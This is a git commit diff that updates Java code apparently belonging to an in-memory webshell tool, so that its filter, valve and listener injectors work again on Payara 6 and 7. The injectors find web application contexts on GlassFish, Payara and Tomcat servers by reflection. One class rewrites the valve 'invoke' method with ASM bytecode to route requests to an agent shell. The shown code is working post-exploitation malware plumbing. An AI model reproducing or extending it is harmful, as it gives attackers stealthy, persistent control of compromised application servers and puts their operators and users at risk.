fix: payara 6/7 shell not work

This commit is contained in:
ReaJason
2026-08-03 23:54:06 +08:00
parent f17a33fb8b
commit 65d0b17fe2
17 changed files with 8939 additions and 10 deletions
@@ -91,10 +91,19 @@ public class GlassFishFilterInjector {
if (target == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
if (childrenMap == null) {
continue;
}
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
if (children != null) {
contexts.addAll(children.values());
}
}
}
}
@@ -113,6 +122,23 @@ public class GlassFishFilterInjector {
return target;
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
Object container = getFieldValue(target, "this$0");
if (container != null) {
return container;
}
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -80,7 +80,11 @@ public class GlassFishValveInjector {
if (target == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
@@ -100,6 +104,31 @@ public class GlassFishValveInjector {
}
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
try {
return getFieldValue(target, "this$0");
} catch (NoSuchFieldException ignored) {
}
try {
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = getFieldValue(atomic, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
} catch (NoSuchFieldException ignored) {
}
Object base = getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -76,9 +76,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public MethodVisitor visitMethod(int access, String name, String descriptor,
String signature, String[] exceptions) {
MethodVisitor mv = super.visitMethod(access, name, descriptor, signature, exceptions);
if (TARGET_METHOD_NAME.equals(name) && descriptor.endsWith(")V")) {
// Tomcat uses void invoke; GlassFish/Payara uses int invoke (GlassFishValve)
if (TARGET_METHOD_NAME.equals(name)
&& (descriptor.endsWith(")V") || descriptor.endsWith(")I"))) {
Type[] argumentTypes = Type.getArgumentTypes(descriptor);
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(mv, argumentTypes, getClassName());
boolean returnsInt = descriptor.endsWith(")I");
return new TomcatContextValveAgentInjector.AgentShellMethodVisitor(
mv, argumentTypes, getClassName(), returnsInt);
}
return mv;
}
@@ -88,11 +92,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
public static class AgentShellMethodVisitor extends MethodVisitor {
private final Type[] argumentTypes;
private final String className;
private final boolean returnsInt;
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className) {
public AgentShellMethodVisitor(MethodVisitor mv, Type[] argTypes, String className, boolean returnsInt) {
super(Opcodes.ASM9, mv);
this.argumentTypes = argTypes;
this.className = className;
this.returnsInt = returnsInt;
}
@Override
@@ -117,7 +123,13 @@ public class TomcatContextValveAgentInjector extends ClassLoader implements Clas
"(Ljava/lang/Object;)Z",
false);
mv.visitJumpInsn(Opcodes.IFEQ, ifConditionFalse);
mv.visitInsn(Opcodes.RETURN);
// GlassFishValve.END_PIPELINE == 2
if (returnsInt) {
mv.visitInsn(Opcodes.ICONST_2);
mv.visitInsn(Opcodes.IRETURN);
} else {
mv.visitInsn(Opcodes.RETURN);
}
mv.visitLabel(ifConditionFalse);
mv.visitLabel(tryEnd);
mv.visitJumpInsn(Opcodes.GOTO, skipCatchBlock);
@@ -63,10 +63,19 @@ public class TomcatListenerInjector {
if (target == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
if (childrenMap == null) {
continue;
}
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
if (children != null) {
contexts.addAll(children.values());
}
}
} else if (threadName.contains("Poller") && !threadName.contains("ajp")) {
try {
@@ -110,6 +119,23 @@ public class TomcatListenerInjector {
return target;
}
/**
* Older Catalina: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7 style: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
Object container = getFieldValue(target, "this$0");
if (container != null) {
return container;
}
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = atomic != null ? getFieldValue(atomic, "base") : getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
@@ -160,7 +160,11 @@ public class GlassFishFilterProbe {
if (target == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(target, "this$0"), "children");
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
for (Object value : childrenMap.values()) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
contexts.addAll(children.values());
@@ -179,6 +183,31 @@ public class GlassFishFilterProbe {
}
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
try {
return getFieldValue(target, "this$0");
} catch (NoSuchFieldException ignored) {
}
try {
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = getFieldValue(atomic, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
} catch (NoSuchFieldException ignored) {
}
Object base = getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
public static Object invokeMethod(Object obj, String methodName) throws Exception {
return invokeMethod(obj, methodName, null, null);
}